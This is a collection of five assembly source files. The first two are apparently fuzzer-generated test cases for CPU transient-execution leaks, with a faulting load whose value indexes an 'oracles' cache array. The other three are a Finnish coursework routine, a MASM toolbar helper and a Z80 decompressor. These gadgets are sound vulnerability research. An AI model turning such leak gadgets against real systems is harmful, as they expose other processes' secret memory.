TheStack | a8a154d469fe77bfc78f057fd9490ec886190466 | Assemblycode:Assembly | {"size": 6226, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0.log_21829_625.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0.log_21829_625.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_st_/i9-9900K_12_0xa0.log_21829_625.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 36.8402366864, "max_line_length": 2999, "alphanum_fraction": 0.657404433} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xc34, %rdi
nop
nop
add $49320, %r15
movl $0x61626364, (%rdi)
nop
sub $20352, %rbp
lea addresses_D_ht+0x4596, %rsi
lea addresses_A_ht+0x1c8d4, %rdi
clflush (%rsi)
nop
nop
nop
nop
cmp %rax, %rax
mov $0, %rcx
rep movsl
dec %rcx
lea addresses_WT_ht+0xb3c, %rsi
lea addresses_WC_ht+0x1ae04, %rdi
clflush (%rsi)
nop
nop
nop
xor %r14, %r14
mov $127, %rcx
rep movsw
nop
nop
nop
inc %rbp
lea addresses_A_ht+0xf304, %r15
nop
cmp $57589, %rax
movl $0x61626364, (%r15)
nop
add $29061, %rbp
lea addresses_A_ht+0x1a748, %r14
nop
nop
nop
nop
nop
add $40153, %rcx
mov $0x6162636465666768, %r10
movq %r10, %xmm2
vmovups %ymm2, (%r14)
nop
sub $57017, %rax
lea addresses_A_ht+0x13e04, %rcx
nop
sub $30754, %r14
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rsi
nop
nop
nop
inc %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rbp
push %rcx
push %rdi
// Store
lea addresses_RW+0x16904, %r9
clflush (%r9)
nop
sub $4570, %rbp
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
vmovups %ymm3, (%r9)
nop
nop
nop
nop
nop
inc %r10
// Store
lea addresses_UC+0x1d104, %rdi
nop
nop
nop
nop
cmp $9265, %rbp
movb $0x51, (%rdi)
nop
nop
sub $27752, %rdi
// Store
lea addresses_WC+0x9f64, %rdi
nop
nop
nop
nop
nop
and %r10, %r10
movw $0x5152, (%rdi)
nop
nop
nop
nop
inc %r9
// Faulty Load
lea addresses_WT+0x3904, %rbp
nop
nop
nop
cmp $16211, %r9
movb (%rbp), %r13b
lea oracles, %rdi
and $0xff, %r13
shlq $12, %r13
mov (%rdi,%r13,1), %r13
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_UC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 5, 'type': 'addresses_WC', 'AVXalign': False, 'size': 2}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
||||
TheStack | 500a6d54fa8dc8a81560fe963503d3c2edcd2aad | Assemblycode:Assembly | {"size": 8556, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_9160_172.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_9160_172.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_9160_172.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 31.3406593407, "max_line_length": 2999, "alphanum_fraction": 0.6534595605} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1bfc5, %rsi
lea addresses_WT_ht+0x70bb, %rdi
clflush (%rsi)
cmp $54040, %r12
mov $0, %rcx
rep movsl
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x16a83, %r9
clflush (%r9)
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%r9)
nop
nop
nop
nop
nop
add $21873, %r12
lea addresses_UC_ht+0x6383, %r9
nop
add %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
movups %xmm4, (%r9)
nop
nop
nop
and %r9, %r9
lea addresses_D_ht+0x8eed, %rsi
lea addresses_A_ht+0x1a983, %rdi
sub $62435, %r14
mov $27, %rcx
rep movsq
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0x10e93, %rsi
lea addresses_D_ht+0x4583, %rdi
nop
and $63945, %r12
mov $9, %rcx
rep movsb
nop
nop
add %r10, %r10
lea addresses_A_ht+0xf2cf, %rsi
lea addresses_WT_ht+0x1db83, %rdi
nop
nop
inc %r14
mov $115, %rcx
rep movsq
lfence
lea addresses_A_ht+0x8f83, %r10
nop
nop
nop
nop
nop
dec %rsi
vmovups (%r10), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
nop
nop
nop
cmp %r9, %r9
lea addresses_WT_ht+0x19f83, %rsi
nop
and $25114, %r12
movw $0x6162, (%rsi)
nop
nop
nop
nop
sub $30025, %rdi
lea addresses_A_ht+0x990b, %r9
nop
nop
nop
nop
nop
cmp $13489, %rbp
mov (%r9), %rsi
nop
nop
nop
cmp %r10, %r10
lea addresses_WT_ht+0xb83, %rsi
nop
and $15603, %r14
movb (%rsi), %r12b
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x1047b, %r12
nop
dec %rsi
movups (%r12), %xmm0
vpextrq $1, %xmm0, %rdi
nop
add %rbp, %rbp
lea addresses_A_ht+0x983, %rdi
cmp $62066, %rsi
movb $0x61, (%rdi)
nop
and $39812, %rsi
lea addresses_UC_ht+0x10783, %rsi
lea addresses_WT_ht+0x10e43, %rdi
nop
nop
inc %rbp
mov $54, %rcx
rep movsq
nop
nop
inc %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rbp
push %rsi
// Store
lea addresses_UC+0x19183, %r13
sub %r11, %r11
mov $0x5152535455565758, %r14
movq %r14, (%r13)
nop
cmp $18988, %rbp
// Load
lea addresses_WC+0xd783, %r10
cmp $31255, %r14
movb (%r10), %r13b
nop
nop
nop
nop
and $35319, %rbp
// Store
lea addresses_A+0x4183, %r14
nop
nop
nop
cmp %rsi, %rsi
movb $0x51, (%r14)
nop
nop
nop
nop
nop
xor %r9, %r9
// Store
lea addresses_PSE+0xbb83, %r13
nop
nop
nop
nop
add %r14, %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movups %xmm3, (%r13)
nop
nop
nop
nop
nop
cmp %r14, %r14
// Store
lea addresses_UC+0x18fdb, %rbp
nop
nop
nop
nop
xor %r13, %r13
mov $0x5152535455565758, %r9
movq %r9, %xmm4
movups %xmm4, (%rbp)
nop
nop
nop
nop
xor $21595, %r10
// Faulty Load
lea addresses_PSE+0xbb83, %rbp
nop
nop
nop
inc %r13
mov (%rbp), %esi
lea oracles, %rbp
and $0xff, %rsi
shlq $12, %rsi
mov (%rbp,%rsi,1), %rsi
pop %rsi
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'58': 9160}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
||||
TheStack | 86693b781e03978e55a1006e4876f139a146041d | Assemblycode:Assembly | {"size": 1544, "ext": "asm", "max_stars_repo_path": "symbolinen_konekieli/Ratol_msdos/laske.asm", "max_stars_repo_name": "tkukka/VariousContent", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "symbolinen_konekieli/Ratol_msdos/laske.asm", "max_issues_repo_name": "tkukka/VariousContent", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "symbolinen_konekieli/Ratol_msdos/laske.asm", "max_forks_repo_name": "tkukka/VariousContent", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 19.7948717949, "max_line_length": 61, "alphanum_fraction": 0.4689119171} |
;RaTol Symbolinen konekieli: koetehtävä 2
;Tero Kukka IY96A
;Tiedosto: laske.asm
;Luotu 26.2.1998
;Aliohjelma _laske
;Hakee taulukon osoitteen PINOSTA
;Aliohjelmien esittely:
public _laske
.model small ;muistimalli
.stack 00h ;pinon koko
.data ;muuttujalohko
.code ;ohjelmakoodi alkaa
_laske proc ;int _laske(int *taulu);
;rekisterit talteen
push bp ;pinossa &taulu, ip, bp
push di ;pinossa &taulu, ip, bp, di
push ax
push bx
push cx ;pino: &taulu, ip, bp, di, ax, bx, cx
mov bp, sp ;Kopioidaan sp
mov di, [bp + 12] ;siirros di-rekisteriin
mov ax, [di] ;1. luku
mov bx, [di + 2] ;2. luku
mov cx, [di + 4] ;3. luku
cmp ax, 1
jz SUMMA
cmp ax, 2
jz EROTUS
cmp ax, 3
jz PIENIN
;MUU
mov ax, 0
jmp LOPPU
SUMMA:
add bx, cx
mov ax, bx
jmp LOPPU
EROTUS:
sub bx, cx
mov ax, bx
jmp LOPPU
PIENIN:
cmp bx, cx
jnc PALAUTA_CX ;hyppy, jos CF=0
mov ax, bx ;bx < cx
jmp LOPPU
PALAUTA_CX:
mov ax, cx
LOPPU:
pop cx ;rekisterien palautus
pop bx
pop ax
pop di
pop bp
ret 2 ;2 tavun vapautus paluun jälkeen
_laske endp
end
|
||||
TheStack | 7838fa7120c645e3f7e94796d358059d2d352059 | Assemblycode:Assembly | {"size": 3031, "ext": "asm", "max_stars_repo_path": "exampl05/hexdump/toolbar.asm", "max_stars_repo_name": "AlexRogalskiy/Masm", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "exampl05/hexdump/toolbar.asm", "max_issues_repo_name": "AlexRogalskiy/Masm", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "exampl05/hexdump/toolbar.asm", "max_forks_repo_name": "AlexRogalskiy/Masm", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 25.2583333333, "max_line_length": 75, "alphanum_fraction": 0.4793797427} | ; ########################################################################
Do_ToolBar PROTO :DWORD
SetBmpColor PROTO :DWORD
include tbmacros.asm
.data
hTbBmp dd 0
hToolBar dd 0
.code
; ########################################################################
Do_ToolBar proc hWin :DWORD
; ---------------------------------------
; This proc works by using macros so that
; the code is easier to read and modify
; ---------------------------------------
LOCAL bSize :DWORD
LOCAL tbab :TBADDBITMAP
LOCAL tbb :TBBUTTON
; ------------------
; The toolbar bitmap
; ~~~~~~~~~~~~~~~~~~
; You must supply a bitmap for the toolbar that has the
; correct number of the required images, each of the same
; size and in the following strip bitmap form.
;
; For the bitmap to have the correct background color, there
; must be a 'path' for the FloodFill function from the top
; left corner AROUND each tool button image on the bitmap.
; -------------------------------------
; | 1 | 2 | 3 | 4 | 5 | 6 |
; -------------------------------------
; ------------------------
; Uncomment following when
; bitmap has been created
; ------------------------
; invoke LoadBitmap,hInstance,750
; mov hTbBmp,eax
; --------------------------------------------------
; Set toolbar button dimensions here, width & height
; --------------------------------------------------
Create_Tool_Bar 25, 25
TBextraData ; additional data for TBBUTTON structure
; -----------------------------------
; Add toolbar buttons and spaces here
; Syntax for the macro TBbutton is
; TBbutton bmpID number, WM_COMMAND ID number
; WM_COMMAND ID numbers start at 50
; -----------------------------------
TBblank
TBbutton 0, 50
TBbutton 1, 51
TBbutton 2, 52
TBblank
TBbutton 3, 53
TBbutton 4, 54
TBbutton 5, 55
TBblank
TBbutton 6, 56
TBbutton 7, 57
TBbutton 8, 58
ret
Do_ToolBar endp
; ########################################################################
SetBmpColor proc hBitmap:DWORD
LOCAL mDC :DWORD
LOCAL hBrush :DWORD
LOCAL hOldBmp :DWORD
LOCAL hReturn :DWORD
LOCAL hOldBrush :DWORD
invoke CreateCompatibleDC,NULL
mov mDC,eax
invoke SelectObject,mDC,hBitmap
mov hOldBmp,eax
invoke GetSysColor,COLOR_BTNFACE
invoke CreateSolidBrush,eax
mov hBrush,eax
invoke SelectObject,mDC,hBrush
mov hOldBrush,eax
invoke GetPixel,mDC,1,1
invoke ExtFloodFill,mDC,1,1,eax,FLOODFILLSURFACE
invoke SelectObject,mDC,hOldBrush
invoke DeleteObject,hBrush
invoke SelectObject,mDC,hBitmap
mov hReturn,eax
invoke DeleteDC,mDC
mov eax,hReturn
ret
SetBmpColor endp
; #########################################################################
|
||||
TheStack | 965a90f05e0e6f30c48d0f0640a3bec991562299 | Assemblycode:Assembly | {"size": 2765, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/compress/zx0/z80/dzx0_standard.asm", "max_stars_repo_name": "w5Mike/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/_DEVELOPMENT/compress/zx0/z80/dzx0_standard.asm", "max_issues_repo_name": "w5Mike/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/_DEVELOPMENT/compress/zx0/z80/dzx0_standard.asm", "max_forks_repo_name": "w5Mike/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 36.8666666667, "max_line_length": 82, "alphanum_fraction": 0.4039783002} | ; -----------------------------------------------------------------------------
; ZX0 decoder by Einar Saukas
; "Standard" version (69 bytes only)
; -----------------------------------------------------------------------------
; Parameters:
; HL: source address (compressed data)
; DE: destination address (decompressing)
; -----------------------------------------------------------------------------
SECTION code_clib
SECTION code_compress_zx0
PUBLIC asm_dzx0_standard
; Entry: hl = void *src
; de = void *dst
;
; Uses: af, bc, de, hl
asm_dzx0_standard:
dzx0_standard:
ld bc, $ffff ; preserve default offset 1
push bc
inc bc
ld a, $80
dzx0s_literals:
call dzx0s_elias ; obtain length
ldir ; copy literals
add a, a ; copy from last offset or new offset?
jr c, dzx0s_new_offset
call dzx0s_elias ; obtain length
dzx0s_copy:
ex (sp), hl ; preserve source, restore offset
push hl ; preserve offset
add hl, de ; calculate destination - offset
ldir ; copy from offset
pop hl ; restore offset
ex (sp), hl ; preserve offset, restore source
add a, a ; copy from literals or new offset?
jr nc, dzx0s_literals
dzx0s_new_offset:
call dzx0s_elias ; obtain offset MSB
ex af, af'
pop af ; discard last offset
xor a ; adjust for negative offset
sub c
ret z ; check end marker
ld b, a
ex af, af'
ld c, (hl) ; obtain offset LSB
inc hl
rr b ; last offset bit becomes first length bit
rr c
push bc ; preserve new offset
ld bc, 1 ; obtain length
call nc, dzx0s_elias_backtrack
inc bc
jr dzx0s_copy
dzx0s_elias:
inc c ; interlaced Elias gamma coding
dzx0s_elias_loop:
add a, a
jr nz, dzx0s_elias_skip
ld a, (hl) ; load another group of 8 bits
inc hl
rla
dzx0s_elias_skip:
ret c
dzx0s_elias_backtrack:
add a, a
rl c
rl b
jr dzx0s_elias_loop
; -----------------------------------------------------------------------------
|
||||
